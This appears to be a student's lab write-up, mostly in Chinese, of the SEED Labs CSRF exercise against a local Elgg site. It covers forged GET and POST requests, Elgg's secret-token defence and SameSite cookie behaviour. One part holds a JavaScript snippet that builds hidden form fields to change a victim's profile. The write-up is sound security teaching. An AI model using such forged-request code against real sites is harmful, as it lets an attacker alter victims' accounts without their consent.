

Web_CSRF(Cross-Site-Request-Forgery) Attack

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Clicking Link A

Clicking Link B

结论

Bonus!

Web_CSRF(Cross-Site-Request-Forgery) Attack


Environment Setup

手动指定DNS

```
#For CSRF_Elgg
10.9.0.5      www.seed-server.com
10.9.0.5      www.example32.com
10.9.0.105    www.attacker32.com
:wq
```

Task1:Obseving HTTP Request


启动docker后访问www.seed-server.com, 登录samy用户, 开启HTTP Header Live观察使用get和post的request



alice添加samy为好友，观察到get请求




添加charlie为好友，修改请求方式为post后重发，观察到post请求



Task2:CSRF Attack Using GET Request

将samy从alice好友列表中移除



修改attacker目录下的addfriend.html

```

1: <html>
2: <body>
3: <h1>This page forges an HTTP GET request</h1>
4: 
5: </body>
6: </html>

```

samy向alice发送URL: <http://www.attack32.com>, 模拟alice点击该链接

http://www.attack32.com/addfriend.html


This page forges an HTTP GET request


观察到alice添加了samy的好友，拿来吧你

Elgg For SEED Labs
Blogs
Bookmarks
Files
Groups
Members
More
Search

You have successfully added Samy as a friend.

Alice's friends


Samy


Alice

- Blogs
- Bookmarks
- Files
- Pages
- Wire post

Friends

- Friends of
- Collections

Task3:CSRF "U R MY HERO" Attack Using POST Request

由alice页面源码或通过其他用户添加alice好友的方式得当alice的guid

```
</div>
</div>

<div class="elgg-main elgg-body elgg-layout-body clearfix">
  <div class="elgg-layout-content clearfix">
    <div class="elgg-layout-widgets" data-page-owner-guid="56"><nav class="elgg-menu-container elgg-menu-title-widg
<li data-menu-item="delete" class="elgg-menu-item-delete "><a href="http://www.seed-server.com/action/widgets/delet
<div class="elgg-widget-edit" id="widget-edit-60">
  <form method="post" action="http://www.seed-server.com/action/widgets/save" class="elgg-form elgg-form-widgets-
<div class="elgg-widget-content" id="elgg-widget-content-60"><ul class="elgg-gallery"><li class="elgg-item" id="elg
require(['elgg/widgets'], function (widgets) {
  widgets.init();
});
</script>
</div>
</div>
```

填充完成editprofile.html的内容

```
<script type="text/javascript">

function forge_post()
{
  var fields;

  // The following are form entries need to be filled out by attackers.
  // The entries are made hidden, so the victim won't be able to see them.
  fields += "<input type='hidden' name='name' value='alice'>";
  fields += "<input type='hidden' name='briefdescription' value='samy is my hero'>";
  fields += "<input type='hidden' name='accesslevel[briefdescription]' value='2'>";
  fields += "<input type='hidden' name='guid' value='56'>";

  // Create a <form> element.
  var p = document.createElement("form");

  // Construct the form
  p.action = "http://www.seed-server.com/action/profile/edit";
  p.innerHTML = fields;
  p.method = "post";

  // Append the form to the current page.
```

samy向alice发送url发动攻击

Alice › Messages

Inbox




hello my hero!

From Samy just now


www.attacker32.com/editprofile.html

alice的profile被修改



Question1:Boby cannot log into Alice's account

虽然无法登陆Alice主页得当guid，但可以在member界面中访问该页面



注意accout是Boby的账户，查看该页面源码后得到Alice的guid是56（下图添加好友的链接href中的friend参数）

```
:lass="elgg-inner"><div class="elgg-layout clearfix profile elgg-layout-one-c
u-container elgg-menu-title-container" data-menu-name="title"><ul class="elg
l "><a href="http://www.seed-server.com/action/friends/add?friend=56&__el
.gg-layout-sidebar-alt clearfix">
```

Question2:Boby launches CSRF to whoever visit his web page

应该不行吧，不知道是谁，guid就不知道，name也不知道，在不添加其他代码的情况下，无法正确发出请求修改profile

Task4:Enabling Elgg's Countermeasure


secret token approach: 通过request中的密钥来判断是否是跨站请求

SameSite cookie: simplify the implementation of CSRF countermeasures

找到csrf.php并去掉return语句，记得重新构建服务器

```
cd /usr/local/www/elgg/
[07/19/21] seed@VM: ~/.../elgg$ vim Csrfs.php
[07/19/21] seed@VM: ~/.../elgg$
```

再次进行Task2中的攻击，可见攻击无效，第二张图中Alice已经点击Samy发送的网址



Task5:Experimenting with the SameSite Cookie Method

访问<http://www.example32.com>

Setting Cookies

After visiting this web page, the following three cookies will be set on your browser.

- **cookie-normal**: normal cookie
- **cookie-lax**: samesite cookie (Lax type)
- **cookie-strict**: samesite cookie (Strict type)

Experiment A: click [Link A](#)

Experiment B: click [Link B](#)

Clicking Link A

SameSite Cookie Experiment

A. Sending Get Request (link)

<http://www.example32.com/showcookies.php>

B. Sending Get Request (form)

C. Sending Post Request (form)

发送get请求和post请求时，显示浏览器发送的cookie都是：

Displaying All Cookies Sent by Browser

- **cookie-normal=aaaaaa**
- **cookie-lax=bbbbbb**
- **cookie-strict=cccccc**

Your request is a **same-site** request!

说明发送同站get和post请求时，浏览器发送的cookie包含normal，lax和strict三种类型

Clicking Link B

SameSite Cookie Experiment

A. Sending Get Request (link)

<http://www.example32.com/showcookies.php>

B. Sending Get Request (form)

C. Sending Post Request (form)

发送get请求时:

Displaying All Cookies Sent by Browser

- `cookie-normal=aaaaaa`
- `cookie-lax=bbbbbb`

Your request is a **cross-site** request!

发送post请求时:

Displaying All Cookies Sent by Browser

- `cookie-normal=aaaaaa`

Your request is a **cross-site** request!

说明发送跨站get请求时，浏览器只发送normal和lax类型cookie；发送跨站post请求时，浏览器只发送normal类型cookie

结论

- 同站发送请求时三种cookie全部发送，不论跨站与否normal类型cookie都发送
- 跨站发送时strict类型cookie不发送
- 跨站使用get时lax类型cookie发送，使用post时不发送
- 服务器通过检查接收的cookie类型对CSRF攻击进行防范

Bonus!
